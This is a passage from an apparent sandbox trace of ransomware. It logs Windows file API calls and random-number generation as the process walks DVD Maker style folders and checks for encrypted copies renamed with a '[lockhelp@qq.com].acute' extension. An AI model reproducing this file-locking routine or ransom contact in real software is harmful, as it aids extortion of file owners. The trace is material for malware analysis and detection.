0xffffffff [0274.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.641] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.641] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=201323) returned 1 [0274.641] CloseHandle (hObject=0x30c) returned 1 [0274.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0274.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.641] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.641] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=69268) returned 1 [0274.641] CloseHandle (hObject=0x30c) returned 1 [0274.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0274.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.642] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.643] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=363512) returned 1 [0274.643] CloseHandle (hObject=0x30c) returned 1 [0274.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0274.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.643] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.643] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=29268) returned 1 [0274.643] CloseHandle (hObject=0x30c) returned 1 [0274.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0274.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.644] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.644] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=29268) returned 1 [0274.644] CloseHandle (hObject=0x30c) returned 1 [0274.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0274.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.644] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.644] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4793) returned 1 [0274.644] CloseHandle (hObject=0x30c) returned 1 [0274.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0274.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.644] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.645] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4813) returned 1 [0274.645] CloseHandle (hObject=0x30c) returned 1 [0274.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0274.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.645] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.646] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=109292) returned 1 [0274.646] CloseHandle (hObject=0x30c) returned 1 [0274.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0274.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.652] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.658] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=205220) returned 1 [0274.658] CloseHandle (hObject=0x30c) returned 1 [0274.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0274.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.658] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.659] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2820) returned 1 [0274.659] CloseHandle (hObject=0x30c) returned 1 [0274.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0274.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.659] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.659] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19846) returned 1 [0274.659] CloseHandle (hObject=0x30c) returned 1 [0274.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0274.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.660] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.660] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.660] CloseHandle (hObject=0x30c) returned 1 [0274.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0274.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.661] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.661] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2821) returned 1 [0274.661] CloseHandle (hObject=0x30c) returned 1 [0274.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0274.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.661] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.661] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.661] CloseHandle (hObject=0x30c) returned 1 [0274.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0274.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.661] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.662] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.662] CloseHandle (hObject=0x30c) returned 1 [0274.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.662] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.662] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.662] CloseHandle (hObject=0x30c) returned 1 [0274.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0274.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 